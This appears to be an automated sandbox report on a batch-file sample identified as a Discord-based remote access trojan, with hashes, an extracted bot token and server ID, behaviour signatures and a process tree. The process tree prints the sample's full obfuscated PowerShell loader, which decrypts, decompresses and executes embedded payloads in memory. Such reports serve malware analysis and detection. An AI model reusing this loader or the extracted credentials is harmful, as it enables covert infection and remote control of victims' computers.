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Analysis
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max time kernel
38s -
max time network
35s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
13/05/2024, 06:31
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10v2004-20240508-en
General
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Target
Client-built.bat
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Size
276KB
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MD5
0c82a2b143ba3344234988e76a83fb9e
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SHA1
41867630fed3a008020947c217b2d3029f0f7203
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SHA256
0bfc1382aa6e0329b1787ba6e1da7c615698c40ebe3acc4c7eaf59393127e7ca
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SHA512
491799b57350191479067677d9e98dd6dfb6f4e3755acbf806cbf9f7a5f4109822f03fbe7e216cfb19d8ccab49593b3fd07a06e524f8d75bb7a8e22b9b147e03
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SSDEEP
6144:Rf7Ie6igEJsHvviyhG8gbKXFOyPUCWxyRKuwlAvB1PIg:VrgEYvviyKuSxLuwlAv/Ig
Malware Config
Extracted
discordrat
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discord_token
MTIxMjYwMTc0NTU0OTgxOTkyNA.G6ob17.hVj0y7t0oSi-tGvj_U-QqOqKV-xvE9qC8cf2k4
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server_id
1239461504776933396
Signatures
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Discord RAT
A RAT written in C# using Discord as a C2.
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Blocklisted process makes network request 4 IoCs
flow pid Process 13 4840 powershell.exe 21 4840 powershell.exe 23 4840 powershell.exe 24 4840 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 21 discord.com 24 discord.com 20 discord.com -
pid Process 4840 powershell.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4840 powershell.exe 4840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4840 powershell.exe Token: 33 1652 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1652 AUDIODG.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3492 wrote to memory of 2096 3492 cmd.exe 91 PID 3492 wrote to memory of 2096 3492 cmd.exe 91 PID 2096 wrote to memory of 2528 2096 net.exe 92 PID 2096 wrote to memory of 2528 2096 net.exe 92 PID 3492 wrote to memory of 4840 3492 cmd.exe 96 PID 3492 wrote to memory of 4840 3492 cmd.exe 96
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:2528
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h/pj37mdJYLWvIIq4ccZ4XXl2YrTSq1NSmb5N3irBBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AckqLhjbBU92JLFFeiEdeA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XVapQ=New-Object System.IO.MemoryStream(,$param_var); $JKJeN=New-Object System.IO.MemoryStream; $Uldzf=New-Object System.IO.Compression.GZipStream($XVapQ, [IO.Compression.CompressionMode]::Decompress); $Uldzf.CopyTo($JKJeN); $Uldzf.Dispose(); $XVapQ.Dispose(); $JKJeN.Dispose(); $JKJeN.ToArray();}function execute_function($param_var,$param2_var){ $NLrpg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $keuMG=$NLrpg.EntryPoint; $keuMG.Invoke($null, $param2_var);}$cADeX = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cADeX;$FbVEn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cADeX).Split([Environment]::NewLine);foreach ($HkIRx in $FbVEn) { if ($HkIRx.StartsWith(':: ')) { $sSiRv=$HkIRx.Substring(3); break; }}$payloads_var=[string[]]$sSiRv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x150 0x2c81⤵
- Suspicious use of AdjustPrivilegeToken
PID:1652
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=1392,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=1000 /prefetch:81⤵PID:4704
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82